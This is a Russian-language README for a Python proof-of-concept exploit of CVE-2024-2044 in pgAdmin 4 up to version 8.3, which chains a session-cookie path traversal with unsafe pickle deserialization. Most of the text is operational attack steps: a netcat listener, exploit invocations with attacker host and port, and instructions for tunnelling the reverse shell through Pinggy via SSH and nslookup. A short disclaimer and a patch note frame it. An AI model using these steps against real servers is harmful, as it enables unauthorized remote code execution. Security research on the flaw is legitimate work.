
Python PoC, эксплуатирующий CVE-2024-2044 в pgAdmin 4 (<=8.3) через аутентифицированный path traversal и небезопасную десериализацию pickle для достижения удалённого выполнения кода и reverse shell.
Этот репозиторий содержит скрипт Proof of Concept (PoC) для CVE-2024-2044 — критической уязвимости, объединяющей Authenticated Path Traversal и Unsafe Deserialization в pgAdmin 4 (версии 8.3 и ниже), работающем в среде Linux/POSIX.
[!WARNING] ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот код создан исключительно в образовательных целях, для исследований в области безопасности и официального тестирования на проникновение (authorized pentesting). Использование этого кода для атаки на цели без письменного разрешения является незаконным и преследуется по закону.
В pgAdmin 4 в режиме сервера в среде Linux управление сессиями хранится в виде локальных файлов. Уязвимость возникает из-за того, что функция FileBackedSessionManager.get() принимает значение из HTTP-cookie pga4_session и объединяет его с путём каталога с помощью os.path.join без санитизации символов манипуляции путём (../).
Этот PoC-скрипт эксплуатирует данную брешь следующим образом:
pickle, содержащего команду Reverse Shell. Этот файл сохраняется в каталоге хранилища пользователя (например: /storage/nama_user/)./login с манипуляцией cookie pga4_session, превращая его в относительный путь к загруженному pickle-файлу (например: ../storage/nama_user/file.pickle!). Символ ! используется для соответствия поиску расширения файла сессии в pgAdmin 4.pickle.loads(). В результате payload запускает отдельный (detached) процесс Python, который отправляет Reverse Shell атакующему.requests.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
Если ваша машина находится за NAT/роутером и требуется публичное туннелирование, вы можете воспользоваться сервисом Pinggy.io, выполнив следующие шаги:
Сначала запустите nc на локальной машине, используя выбранный вами порт (например: порт 1337):
nc -lvnp 1337
Откройте новый терминал и выполните SSH-команду Pinggy. Убедитесь, что локальный порт в конце (1337) совпадает с портом nc, который вы запустили ранее:
ssh -p 443 -R0:localhost:1337 [email protected]
После подключения Pinggy выдаст публичный TCP-URL, например:
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

Примечание: Публичный порт, полученный от Pinggy, — это 43143 (именно он впоследствии станет -lport).
Целевому серверу pgAdmin 4 требуется формат реального IP-адреса для соединения socket reverse shell. Выполните nslookup для домена из вашего Pinggy URL:
nslookup ubylm-103-79-246-198.run.pinggy-free.link
Вывод отобразит публичный IP сервера Pinggy (выберите IPv4 в самой верхней части Address):
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
Из приведённого вывода получен реальный IP Pinggy: 172.236.148.125.

Запустите PoC-скрипт, указав IP, полученный из nslookup, в качестве -lhost, а публичный порт Pinggy — в качестве -lport:
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : URL цели pgAdmin 4 (Обязательно).-u, --username: Email/Username для входа (По умолчанию: [email protected]).-p, --password: Пароль для входа (По умолчанию: player123).-lhost : IP-адрес атакующего / IP, полученный из nslookup Pinggy (Обязательно).-lport : Порт listener атакующего / Публичный порт Pinggy (Обязательно).Эта уязвимость была исправлена в pgAdmin 4 версии 8.4. Если вы администрируете уязвимый сервер, немедленно выполните следующие действия: